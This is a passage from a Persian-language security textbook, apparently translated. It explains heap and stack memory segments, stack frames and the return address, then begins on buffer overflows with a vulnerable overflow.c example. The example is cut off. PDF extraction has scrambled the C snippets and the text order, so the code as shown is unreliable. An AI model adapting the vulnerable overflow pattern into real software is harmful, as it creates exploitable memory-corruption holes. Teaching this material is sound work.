ﺛﺎﺑﺖ ﻧﯿﺴﺖ ،ﯾﻌﻨﯽ در ﺻﻮرت ﻧﯿﺎز ﻣﯽ ﺗﻮاﻧﺪ ﺑﺰرﮔﺘـﺮ ﯾـﺎ ﮐـﻮﭼﮑﺘﺮ ﺷـﻮد .ﺗﻤـﺎم ﺣﺎﻓﻈـﻪ درون heapﺑـﺎ اﻟﮕـﻮرﯾﺘﻢ ﻫـﺎی
ﺗﺨﺼﯿﺺ دﻫﻨﺪه ) (allocatorو آزادﮐﻨﻨﺪه ) (deallocatorﻣﺪﯾﺮﯾﺖ ﻣﯽ ﺷـﻮﻧﺪ ﮐـﻪ ﺑـﻪ ﺗﺮﺗﯿـﺐ ﻧﺎﺣﯿـﻪ ای از heapرا
ﺑﺮای اﺳﺘﻔﺎده رزرو ﮐﺮده ) (allocationﯾﺎ ﻣﮑﺎن ﻫﺎی رزرو ﺷﺪه را ﺟﻬﺖ اﺳﺘﻔﺎده ﻫﺎی ﻣﺠﺪد آﺗﯽ ﺑﺮﻧﺎﻣﻪ از آن ﻗﻄﻌﺎت
آزاد ﮐﺮده و ﺑﻪ ﺣﺎﻓﻈﻪ ﺑﺮ ﻣﯽ ﮔﺮداﻧﻨﺪ ) .(deallocationﺣﺎﻓﻈﻪ heapﺑﺴﺘﻪ ﺑﻪ ﻣﻘﺪار رزرو ﺷﺪه ﺟﻬﺖ اﺳﺘﻔﺎده ﺑﺮﻧﺎﻣـﻪ،
ﻣﯽ ﺗﻮاﻧﺪ ﮐﻮﭼﮏ ﯾﺎ ﺑﺰرگ ﺷﻮد .ﺑﺰرگ ﺷﺪن ﯾﺎ رﺷﺪ ،heapرو ﺑﻪ ﭘﺎﺋﯿﻦ و ﺑـﻪ ﺳـﻤﺖ آدرس ﻫـﺎی ﺣﺎﻓﻈـﻪ ای ﺑﺰرﮔﺘـﺮ
اﺳﺖ.
-ﻗﻄﻌﻪ stackﻧﯿﺰ اﻧﺪازه ای ﻣﺘﻐﯿﺮ دارد و در ﺧﻼل ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ﺗﺎﺑﻌﯽ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﭼﺮﮐﻨﻮﯾﺲ ﻣﻮﻗﺖ ﺑﺮای ذﺧﯿـﺮه
ﻣﻔﺎد ) (contextاﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .در ﻓﺮاﺧﻮاﻧﯽ ﯾﮏ ﺗﺎﺑﻊ در ﯾﮏ ﺑﺮﻧﺎﻣﻪ ،آن ﺗﺎﺑﻊ ﻣﺠﻤﻮﻋـﻪ ﻣﺘﻐﯿﺮﻫـﺎی اﻧﺘﻘـﺎﻟﯽ ﺧـﻮد را
دارد و ﮐﺪِ ﺗﺎﺑﻊ در ﻣﮑﺎن دﯾﮕﺮی در ﺣﺎﻓﻈﻪ در ﻗﻄﻌﻪ ﮐﺪ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑﻮد .ﭼﻮن در زﻣﺎن ﻓﺮاﺧﻮاﻧﯽ ﯾﮏ ﺗـﺎﺑﻊ ،ﻣﻔـﺎد و
EIPﺗﻐﯿﯿﺮ ﻣﯽ ﯾﺎﺑﻨﺪ ،ﻟﺬا ﺑﻪ ﻣﻨﻈﻮر ﯾﺎدداﺷﺖ ﮐﺮدن ﻣﺘﻐﯿﺮﻫﺎی ﻣﻨﺘﻘﻞ ﺷﺪه و ﻣﮑﺎﻧﯽ ﮐﻪ EIPﺑﻌـﺪ از اﺗﻤـﺎم اﺟـﺮای ﺗـﺎﺑﻊ
ﺑﺎﯾﺪ ﺑﻪ آن رﺟﻮع ﮐﻨﺪ از ﭘﺸﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد.
در ﻋﻠﻮم ﮐﺎﻣﭙﯿﻮﺗﺮ ﺑﻪ ﻃﻮر ﮐﻠﯽ ،ﯾﮏ ﺳﺎﺧﺘﺎر داده ا اﻧﺘﺰاﻋﯽ اﺳﺖ ﮐﻪ ﻣﺘﻨﺎوﺑﺎ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .ﺗﺮﺗﯿـﺐ ﺑﺎﯾـﺖ ﻫـﺎ در اﯾـﻦ
ﺳﺎﺧﺘﻤﺎن ﻣﻌﻤﻮﻻ ﺑﻪ ﺻﻮرت (First In, Last Out) FILOاﺳﺖ ،ﯾﻌﻨﯽ اوﻟﯿﻦ ﻋﻨـﺼﺮی ﮐـﻪ ﺑـﻪ ﭘـﺸﺘﻪ وارد ﺷـﻮد )در
ﭘﺸﺘﻪ ﻗﺮار ﮔﯿﺮد( ،آﺧﺮﯾﻦ ﻋﻨﺼﺮی ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ از آن ﺧﺎرج ﻣﯽ ﺷﻮد .ﯾﮏ رﺷﺘﻪ ﻧﺦ را ﻓﺮض ﮐﻨﯿﺪ ﮐﻪ ﯾﮏ اﻧﺘﻬﺎی آن
ﺑﺎ ﯾﮏ ﮔﺮه ﺑﺰرگ ﻣﺴﺪود ﺷﺪه اﺳﺖ ،اﮐﻨﻮن ﻧﺦ را از ﭼﻨﺪﯾﻦ ﻣﻬﺮه ﻋﺒﻮر ﻣﯽ دﻫﯿﻢ .واﺿﺢ اﺳﺖ ﮐﻪ ﺗﺎ زﻣـﺎﻧﯽ ﮐـﻪ دﯾﮕـﺮ
ﻣﻬﺮه ﻫﺎ از ﻧﺦ ﺧﺎرج ﻧﺸﻮﻧﺪ ،ﻧﻤﯽ ﺗﻮان اوﻟﯿﻦ ﻣﻬﺮه را ﺑﯿﺮون آورد .ﺳﺎﺧﺘﺎر ﭘﺸﺘﻪ ﻧﯿﺰ ﺑﻪ ﻫﻤﯿﻦ ﺻﻮرت اﺳﺖ .ﻋﻤـﻞ ﻗـﺮار
دادن ﯾﮏ ﻋﻨﺼﺮ در ﭘﺸﺘﻪ را PUSHو ﺑﺎزﯾﺎﺑﯽ و ﺳﭙﺲ ﺣﺬف ﮐﺮدن آﻧﺮا را POPﻣﯽ ﻧﺎﻣﯿﻢ.
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺎم ﻫﺎ ﺧﻮد ﮔﻮﯾﺎ ﻫﺴﺘﻨﺪ ،ﻗﻄﻌﻪ ﭘﺸﺘﻪ در ﺣﺎﻓﻈﻪ ،در ﺣﻘﯿﻘﺖ ﯾﮏ ﺳﺎﺧﺘﻤﺎن داده ﭘـﺸﺘﻪ اﺳـﺖ .ﺛﺒـﺎت ESP
ﺑﺮای ﻧﮕﻬﺪاری آدرس اﻧﺘﻬﺎی ﭘﺸﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﮐﻪ داﺋﻤﺎ ﺑﻪ دﻟﯿﻞ ﻗﺮار دادن ﯾﺎ ﺣﺬف ﮐـﺮدن ﻋﻨﺎﺻـﺮ در ﭘـﺸﺘﻪ در
ﺣﺎل ﺗﻐﯿﯿﺮ اﺳﺖ .ﺑﺎ اﺳﺘﻨﺎد ﺑﻪ ﻫﻤﯿﻦ رﻓﺘﺎر ﭘﻮﯾﺎ در ﭘﺸﺘﻪ )ﺗﻐﯿﯿﺮ داﺋﻤﯽ ﭘﺸﺘﻪ( ،ﺛﺎﺑﺖ ﻧﺪاﻧﺴﺘﻦ اﻧﺪازه آن ﻣﻨﻄﻘﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ
آﯾﺪ .ﺑﺮﺧﻼف رﺷﺪ ،heapﺗﻐﯿﯿﺮ اﻧﺪازه ﭘﺸﺘﻪ ﺑﻪ ﺳﻤﺖ ﺑﺎﻻ و رو ﺑﻪ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ای ﮐﻮﭼﮑﺘﺮ اﺳﺖ.
ﻣﺎﻫﯿﺖ FILOدر ﭘﺸﺘﻪ ﻋﺠﯿﺐ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ ،اﻣﺎ ﺑﻪ دﻟﯿﻞ اﺳﺘﻔﺎده از ﭘﺸﺘﻪ ﺟﻬﺖ ذﺧﯿﺮه ﻣﻔﺎد ،ﺑﺴﯿﺎر ﻣﻔﯿﺪ و ﭘﺮﮐﺎرﺑﺮد
اﺳﺖ .ﺑﻪ ﻣﺤﺾ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ ،ﭼﻨﺪﯾﻦ ﻋﻨﺼﺮ ﺑﺎ ﯾﮑـﺪﯾﮕﺮ روی ﭘـﺸﺘﻪ ﻗـﺮار ﮔﺮﻓﺘـﻪ و ﺳـﺎﺧﺘﻤﺎﻧﯽ را ﺑـﻪ ﻧـﺎم ﻗـﺎب ﭘـﺸﺘﻪ
26
) (stack frameﺑﻮﺟﻮد ﻣﯽ آورﻧﺪ .ﺛﺒﺎت ) EBPﮐﻪ ﮔﺎﻫﯽ اوﻗﺎت اﺷﺎرﮔﺮ ﻗﺎب ) 25(FPﯾﺎ اﺷﺎرﮔﺮ ﭘﺎﯾﻪ ﻣﺤﻠـﯽ )(LB
ﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد( ﺑﻪ ﻣﻨﻈﻮر ارﺟﺎع ﻣﺘﻐﯿﺮﻫﺎ در ﻗﺎب ﭘﺸﺘﻪ ﻓﻌﻠﯽ اﺳﺘﻔﺎده ﻣﯽ ﮔﺮدد .ﻫﺮ ﻗﺎب ﭘـﺸﺘﻪ ﺣـﺎوی ﭘﺎراﻣﺘﺮﻫـﺎﯾﯽ از
ﺗﺎﺑﻊ ﯾﻌﻨﯽ ﻣﺘﻐﯿﺮ ﻫﺎی ﻣﺤﻠﯽ ﺗﺎﺑﻊ و دو اﺷﺎرﮔﺮ اﺳﺖ .دو اﺷﺎرﮔﺮ ﯾﺎد ﺷﺪه ﺟﻬﺖ ﺗﻐﯿﯿﺮ اوﺿﺎع ﺑـﻪ ﺣﺎﻟـﺖ اوﻟﯿـﻪ ﺑﮑـﺎر ﻣـﯽ
روﻧﺪ و اﺷﺎرﮔﺮ ﻗﺎب ذﺧﯿﺮه ﺷﺪه ) 27(SFPو آدرس ﺑﺮﮔﺸﺖ 28ﻧﺎم دارﻧﺪ .اﺷﺎرﮔﺮ ﻗﺎب ﭘﺸﺘﻪ ﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﻣﻘﺪار ﻗﺒﻠـﯽ
EBPو آدرس ﺑﺮﮔﺸﺖ ﺑﺮای ﺑﺎزﯾﺎﺑﯽ دﺳﺘﻮر ﺑﻌﺪی ﻣﻮﺟﻮد در ﺑﻌﺪ از ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ EIPﺑﮑﺎر ﻣﯽ رود .در زﯾﺮ دو ﺗﺎﺑﻊ
) test_functionﺗﺴﺖ( و ) mainاﺻﻠﯽ( را ﻣﻼﺣﻈﻪ ﻣﯽ ﮐﻨﯿﺪ:
)void test_function(int a, int b, int c, int d
{
;char flag
25
Frame Pointer
26
Local Base Pointer
-Saved Frame Pointer 27ﭼﻮن اﺷﺎرﮔﺮ ﻗﺎب ذﺧﯿﺮه ﺷﺪه ) (SFPدر ﺣﻘﯿﻘﺖ ﯾﮏ ﻣﻘﺪار ﻗﺪﯾﻤﯽ )ﺑﻪ ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ( ﺑﺮای EBPﺑﻮده و ﺑﻌﺪا ﻧﯿﺰ ﻣﺠﺪدا در EBP
)اﺷﺎرﮔﺮ ﻗﺎب( ﻗﺮار ﻣﯽ ﮔﯿﺮد ،ﮔﺎﻫﯽ اوﻗﺎت ﺑﻪ ﺟﺎی Saved Frame Pointerاز ﻋﺒﺎرت ) Stack Frame Pointerﮐﻪ ﻫﺮ دو ﺑﻪ ﺻﻮرت SFPﻣﺨﻔﻒ ﻣﯽ ﺷﻮﻧﺪ( ﻧﯿﺰ اﺳﺘﻔﺎده ﻣﯽ
ﺷﻮد.
28
Return Address
21
;]char buffer[10
}
)(void main
{
;)test_function(1, 2, 3, 4
}
اﯾﻦ ﺗﮑﻪ ﮐﺪ ،اﺑﺘﺪا ﺗﺎﺑﻊ ﺗﺴﺖ را ﺑﺎ ﭼﻬﺎر آرﮔﻮﻣﺎن اﻋﻼن ﻣﯽ ﮐﻨﺪ ﮐﻪ ﻫﺮ ﭼﻬﺎر آرﮔﻮﻣﺎن ﺑـﻪ ﺻـﻮرت ﻋـﺪد ﺻـﺤﯿﺢ اﻋـﻼن
ﺷﺪه اﻧﺪ .ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ اﯾﻦ ﺗﺎﺑﻊ ﺷﺎﻣﻞ ﯾﮏ ﮐﺎراﮐﺘﺮ واﺣﺪ ﺑﻪ ﻧﺎم flagو ﯾﮏ ﺑﺎﻓﺮ 10ﮐﺎراﮐﺘﺮی ﺑـﻪ ﻧـﺎم bufferﻣـﯽ
ﺷﻮد .ﺗﺎﺑﻊ اﺻﻠﯽ ﺑﻪ ﻣﺤﺾ اﺟﺮای ﺑﺮﻧﺎﻣﻪ اﺟﺮا ﺷﺪه و ﺗﺎﺑﻊ ﺗﺴﺖ را ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﮐﻨﺪ.
ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ ﺗﺴﺖ از ﺗﺎﺑﻊ اﺻﻠﯽ ،ﻣﻘﺎدﯾﺮ ﮔﻮﻧﺎﮔﻮﻧﯽ روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮﻧـﺪ ﺗـﺎ ﻗـﺎب ﭘـﺸﺘﻪ را اﯾﺠـﺎد ﮐﻨﻨـﺪ.
ﻫﻨﮕﺎم ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )( ،test_functionآرﮔﻮﻣﺎن ﻫﺎی آن ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس روی ﭘﺸﺘﻪ ﻗﺮار ﻣـﯽ ﮔﯿﺮﻧـﺪ )ﺑـﻪ دﻟﯿـﻞ
ﺧﺎﺻﯿﺖ .(FILOآرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ 3 ،2 ،1و 4ﻫﺴﺘﻨﺪ ،ﻟـﺬا دﺳـﺘﻮرات ،pushاﺑﺘـﺪا ،4ﺳـﭙﺲ 2 ،3و در آﺧـﺮ 1را
روی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ دﻫﻨﺪ .اﯾﻦ ﻣﻘﺎدﯾﺮ ﻣﺘﻨﺎﻇﺮ ﺑﺎ ﻣﺘﻐﯿﺮﻫﺎی b ،c ،dو aدر ﺗﺎﺑﻊ ﻫﺴﺘﻨﺪ.
ﻫﻨﮕﺎم اﺟﺮای دﺳﺘﻮر اﺳﻤﺒﻠﯽ " "callﺑﻪ ﻣﻨﻈﻮر ﺗﻐﯿﯿﺮ زﻣﯿﻨﻪ اﺟﺮاﯾﯽ ﺑﻪ )( ،test_functionآدرس ﺑﺮﮔـﺸﺖ روی ﭘـﺸﺘﻪ
ﻗﺮار ﻣﯽ ﮔﯿﺮد .اﯾﻦ ﻣﻘﺪار ﻣﮑﺎن دﺳﺘﻮر ﺑﻌﺪ از EIPﻓﻌﻠﯽ ﯾﺎ ﺑﻪ ﻃﻮر دﻗﯿﻖ ﺗﺮ ﻣﻘﺪار ذﺧﯿﺮه ﺷﺪه در ﻣﺮﺣﻠـﻪ 3از ﭼﺮﺧـﻪ
اﺟﺮاﯾﯽ ﯾﺎد ﺷﺪه در ﻗﺒﻞ اﺳﺖ .ذﺧﯿﺮه آدرس ﺑﺮﮔﺸﺖ ﻫﻤﺮاه ﺑﺎ ﭘﺪﯾﺪه ای ﺑﻪ ﻧـﺎم آﻏـﺎز روﯾـﻪ )(Procedure Prolog
رخ ﻣﯽ دﻫﺪ .در اﯾﻦ ﻣﺮﺣﻠﻪ ﻣﻘﺪار ﻓﻌﻠﯽ EBPروی ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد .اﯾﻦ ﻣﻘﺪار ﮐﻪ SFPﻧﺎﻣﯿﺪه ﻣﯽ ﺷﺪ ﺑﻌﺪا ﺟﻬـﺖ
ﺑﺎزﯾﺎﺑﯽ ﻣﻘﺪار EBPﺑﻪ ﻣﻘﺪار ﻗﺒﻠﯽ ﺧﻮد )ﯾﻌﻨﯽ ﻣﻘﺪار ﻓﻌﻠﯽ( اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .ﺳﭙﺲ ﻣﻘـﺪار ﻓﻌﻠـﯽ ESPدر EBPﮐﭙـﯽ
ﺷﺪه ﺗﺎ ﻣﻘﺪار ﺟﺪﯾﺪ اﺷﺎرﮔﺮ ﻗﺎب را ﺟﻬﺖ اﯾﺠﺎد ﯾﮏ ﻗﺎب ﭘﺸﺘﻪ ﺗﻨﻈﯿﻢ ﮐﻨﺪ .ﻓﻀﺎی اﯾـﻦ ﻗـﺎب ﭘـﺸﺘﻪ ﺑـﺎ ﺗﻔﺮﯾـﻖ از ESP
ﺑﺪﺳﺖ ﻣﯽ آﯾﺪ ﮐﻪ ﻫﻤﺎن ﻓﻀﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ روی ﭘﺸﺘﻪ ﺑﺮای ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ ﺗـﺎﺑﻊ ) flagو (bufferاﺳـﺖ .ﺣﺎﻓﻈـﻪ
ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ ﺑﺮای اﯾﻦ ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ روی ﭘﺸﺘﻪ ﻗﺮار ﻧﮕﺮﻓﺘﻪ اﺳﺖ ) ،(pushﻟﺬا ﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ در اﯾـﻦ ﻣﺘﻐﯿﺮﻫـﺎ ﺑـﻪ
ﺻﻮرت ﻣﻌﻤﻮل اﺳﺖ .در اﻧﺘﻬﺎ ﻗﺎب ﭘﺸﺘﻪ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺧﻮاﻫﺪ ﺷﺪ:
ﺗﺼﻮﯾﺮ ﻓﻮق ﻧﻤﺎﯾﺸﮕﺮ ﻗﺎب ﭘﺸﺘﻪ اﺳﺖ .ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﻠﯽ ﺑﺎ ﺗﻔﺮﯾﻖ از اﺷﺎرﮔﺮ ﻗﺎبِ EBPو آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﺑـﺎ اﺿـﺎﻓﻪ
ﺷﺪن ﺑﻪ آن ارﺟﺎع داده ﻣﯽ ﺷﻮﻧﺪ.
22
ﺑﺮای اﺟﺮای ﯾﮏ ﺗﺎﺑﻊ ،ﭘﺲ از ﻓﺮاﺧﻮاﻧﯽ آن ،ﻣﻘﺪار EIPﺑﻪ آدرس اﺑﺘﺪای ﺗﺎﺑﻊ در ﻗﻄﻌﻪ textاز ﺣﺎﻓﻈﻪ ﺗﻐﯿﯿﺮ ﻣـﯽ ﯾﺎﺑـﺪ.
ﺣﺎﻓﻈﻪ در ﭘﺸﺘﻪ ﺑﺮای ﻣﺘﻐﯿﺮﻫﺎی ﻋﻤﻮﻣﯽ و آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﺑﮑﺎر ﻣﯽ رود .ﺑﺎ ﭘﺎﯾﺎن ﯾﺎﻓﺘﻦ اﺟﺮا ،ﺗﻤﺎم ﻗﺎبِ ﭘﺸﺘﻪ از روی
ﭘﺸﺘﻪ ﺣﺬف ﺷﺪه ) (popو ﻣﻘﺪار EIPﻣﺴﺎوی ﺑﺎ آدرس ﺑﺮﮔﺸﺖ ﻣﯽ ﮔﺮدد ،ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﺮﻧﺎﻣﻪ ﻣﯽ ﺗﻮاﻧﺪ روﻧـﺪ اﺟـﺮا
را )از ﺑﻌﺪ از ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ( اداﻣﻪ دﻫﺪ .اﮔﺮ ﺗﺎﺑﻊ دﯾﮕﺮی درون ﺗﺎﺑﻊ ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﺪ ،ﺑﺎﯾﺴﺘﯽ ﻗﺎب ﭘﺸﺘﻪ دﯾﮕﺮی درون
ﭘﺸﺘﻪ ﻗﺮار ﻣﯽ ﮔﺮﻓﺖ و ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال ﺗﺎ آﺧﺮ .ﺑﻪ ﻣﺤﺾ ﭘﺎﯾﺎن ﯾﺎﻓﺘﻦ ﺗـﺎﺑﻊ )دوم( ،ﻗـﺎب ﭘـﺸﺘﻪ آن از ﭘـﺸﺘﻪ ﺣـﺬف ﻣـﯽ
ﺷﻮد ،ﺑﻪ اﯾﻦ ﺻﻮرت روﻧﺪ اﺟﺮا ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﺗﺎﺑﻊ ﻗﺒﻠﯽ )اول( ﺑﺎز ﮔﺮدد .دﻟﯿـﻞ ﺧﺎﺻـﯿﺖ FILOدر اﯾـﻦ ﻗﻄﻌـﻪ از ﺣﺎﻓﻈـﻪ
)ﭘﺸﺘﻪ( ﻧﯿﺰ ﻫﻤﯿﻦ اﺳﺖ.
ﻗﻄﻌﺎت ﻣﺨﺘﻠﻒ ﺣﺎﻓﻈﻪ ﺑﻪ ﻫﻤﺎن ﺗﺮﺗﯿﺒﯽ ﮐﻪ در ﺑﺎﻻ ﯾﺎد ﺷﺪ )ﯾﻌﻨﯽ از آدرس ﻫﺎی ﺣﺎﻓﻈﻪ ای ﮐﻮﭼﮑﺘﺮ ﺑﻪ آدرس ﺣﺎﻓﻈﻪ ای
ﺑﺰرﮔﺘﺮ( ﻫﺴﺘﻨﺪ .اﻣﺎ ﭼﻮن ﺑﺴﯿﺎری از اﻓﺮاد ﺑﺎ ﺷﻤﺎرش از ﺑﺎﻻ ﺑﻪ ﭘـﺎﺋﯿﻦ راﺣـﺖ ﺗـﺮ ﻫـﺴﺘﻨﺪ ،ﻟـﺬا آدرس ﻫـﺎی ﺣﺎﻓﻈـﻪ ای
ﮐﻮﭼﮑﺘﺮ را در ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﯿﻢ.
ﭼﻮن ﻫﺮ دو ﻗﻄﻌﻪ heapو stackﭘﻮﯾﺎ ﻫﺴﺘﻨﺪ ،ﻟﺬا ﻫﺮ دو در ﺟﻬﺎت ﻣﺨﺎﻟﻒ و رو ﺑﻪ ﯾﮑﺪﯾﮕﺮ رﺷﺪ ﻣﯽ ﮐﻨﻨـﺪ .اﯾـﻦ ﻋﻤـﻞ
ﺳﺒﺐ ﮐﺎﻫﺶ ﻓﻀﺎﻫﺎی زاﺋﺪ و ﺑﯿﻬﻮده و ﻫﻤﭽﻨﯿﻦ ﮐﺎﻫﺶ اﺣﺘﻤﺎل ﺗﺪاﺧﻞ رﺷﺪ ﯾﮏ ﻗﻄﻌﻪ در ﻓﻀﺎی ﻗﻄﻌﻪ دﯾﮕﺮ ﻣﯽ ﺷﻮد.
23
.2,6ﺳﺮرﯾﺰﻫﺎی ﺑﺎﻓﺮ
زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ،Cﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ اﺳﺖ ،اﻣﺎ در آن ﻣﺴﺌﻮل ﺟﺎﻣﻌﯿﺖ داده ،29ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻓﺮض ﺷﺪه اﺳﺖ .اﮔﺮ
اﯾﻦ ﻣﺴﺌﻮﻟﯿﺖ ﺑﺮ دوش ﮐﺎﻣﭙﺎﯾﻠﺮ ﻗﺮار داده ﻣﯽ ﺷﺪ ،ﺑﻪ دﻟﯿﻞ ﺑﺮرﺳﯽ ﻫﺎی ﺟﺎﻣﻌﯽ روی ﺗﻤﺎم ﻣﺘﻐﯿﺮﻫﺎ ،ﺑﺎﯾﻨﺮی ﻫﺎی ﺗﻮﻟﯿـﺪ
ﺷﺪه ﺑﻪ ﻃﻮر ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ای ﮐﻨﺪﺗﺮ ﻣﯽ ﺑﻮدﻧﺪ .ﻫﻤﭽﻨﯿﻦ اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﻄﺢ ﻗﺎﺑﻞ ﻣﻼﺣﻈﻪ ای از ﮐﻨﺘﺮل را از ﺑﺮﻧﺎﻣـﻪ ﻧـﻮﯾﺲ
ﺳﻠﺐ و زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ را ﭘﯿﭽﯿﺪه ﻣﯽ ﮐﺮد.
اﮔﺮﭼﻪ ﺳﺎدﮔﯽ زﺑﺎن ،Cﮐﻨﺘﺮل ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ و ﮐﺎراﯾﯽ ﺑﺮﻧﺎﻣﻪ ﻫﺎ را اﻓﺰاﯾﺶ ﻣﯽ دﻫﺪ ،اﻣﺎ در ﻋﻮض در ﺻﻮرت ﻋﺪم دﻗﺖ
ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ اﻣﮑﺎن ﺗﻮﻟﯿﺪ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ اﺳﺖ ﮐﻪ ﻧـﺴﺒﺖ ﺑـﻪ ﺳـﺮرﯾﺰﻫﺎی ﺑـﺎﻓﺮ و ﺗـﺮاوش ﺣﺎﻓﻈـﻪ ای )(memory leak
آﺳﯿﺐ ﭘﺬﯾﺮ ﻫﺴﺘﻨﺪ .ﯾﻌﻨﯽ ﻫﻨﮕﺎم ﺗﺨﺼﯿﺺ ﺣﺎﻓﻈﻪ ﺑﺮای ﯾﮏ ﻣﺘﻐﯿﺮ ،ﻫـﯿﭻ ﺣﻔـﺎظ دروﻧـﯽ ﺟﻬـﺖ ﺣـﺼﻮل اﻃﻤﯿﻨـﺎن از ﺟـﺎ
ﮔﺮﻓﺘﻦ ﻣﺤﺘﻮﯾﺎت ﻣﺘﻐﯿﺮ در ﻓﻀﺎی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ وﺟﻮد ﻧﺪارد .اﮔﺮ ﺑﺮﻧﺎﻣـﻪ ﻧـﻮﯾﺲ ﻣﺎﯾـﻞ ﺑـﻪ ﻗـﺮار دادن 10ﺑﺎﯾـﺖ داده
درون ﺑﺎﻓﺮی ﺑﺎﺷﺪ ﮐﻪ ﺗﻨﻬﺎ 8ﺑﺎﯾﺖ ﻓﻀﺎ دارد ،اﮔﺮﭼﻪ ﺑﻪ اﺣﺘﻤﺎل زﯾﺎد اﯾـﻦ ﻋﻤـﻞ ﺳـﺒﺐ از ﮐـﺎر اﻓﺘـﺎدن ﺑﺮﻧﺎﻣـﻪ ﻣـﯽ ﺷـﻮد
) ،30(crashاﻣﺎ ﻣﺠﺎز ﺷﻨﺎﺧﺘﻪ ﺧﻮاﻫﺪ ﺷﺪ .اﯾﻦ ﻓﺮآﯾﻨﺪ ﺗﺤﺖ ﻋﻨﻮان ﺳﺮرﯾﺰ ﺑـﺎﻓﺮ ) (buffer overflowﯾـﺎ ﺗﺠﺎﺳـﺮ ﺑـﺎﻓﺮ
) (buffer overrunﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ،ﭼﺮا ﮐﻪ دو ﺑﺎﯾﺖ داده اﺿﺎﻓﯽ از ﺣﺎﻓﻈﻪ ی ﺗﺨﺼﯿﺺ ﯾﺎﻓﺘﻪ ﺳﺮرﯾﺰ ﻣﯽ ﮐﻨﺪ و ﺳﺒﺐ
ﺟﺎﯾﻨﻮﯾﺴﯽ ) (overwriteو اﺷﻐﺎل ﺷﺪن ﻣﮑﺎن ﻫﺎی ﺣﺎﻓﻈﻪ ای ﻣﺠﺎور ﻣﯽ ﺷﻮد .اﮔﺮ ﺗﮑﻪ داده ای ﻣﻬﻤﯽ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﻮد،
ﺑﺮﻧﺎﻣﻪ ﮐﺮش ﻣﯽ ﮐﻨﺪ .ﮐﺪ زﯾﺮ ﯾﮏ ﻧﻤﻮﻧﻪ از اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎ اﺳﺖ.
overflow.c code
)void overflow_function (char *str
{
;]char buffer[20
)(int main
{
;]char big_string[128
;int i
29
Data Integrity
30ﺑﺮای ﻓﻬﻢ ﺑﻬﺘﺮ ،در اﯾﻦ ﮐﺘﺎب از واژه ﺳﺎده ی ﮐﺮش ﺑﻪ ﺟﺎی ﻋﺒﺎرت از ﮐﺎر اﻓﺘﺎدن ﺑﻪ ﻋﻨﻮان ﻣﻌﺎدﻟﯽ ﺑﺮای crashاﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ.
24
ﺗﺨﺼﯿﺺ داده ﺷﺪه اﺳﺖ ،ﻟﺬا اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ ﺑﺮوز ﻣﺸﮑﻼﺗﯽ ﺧﻮاﻫﺪ ﺷﺪ 108 .ﺑﺎﯾﺖ ﺑﺎﻗﯿﻤﺎﻧﺪه از داده ،ﺑـﺮ روی ﻋﻨﺎﺻـﺮ
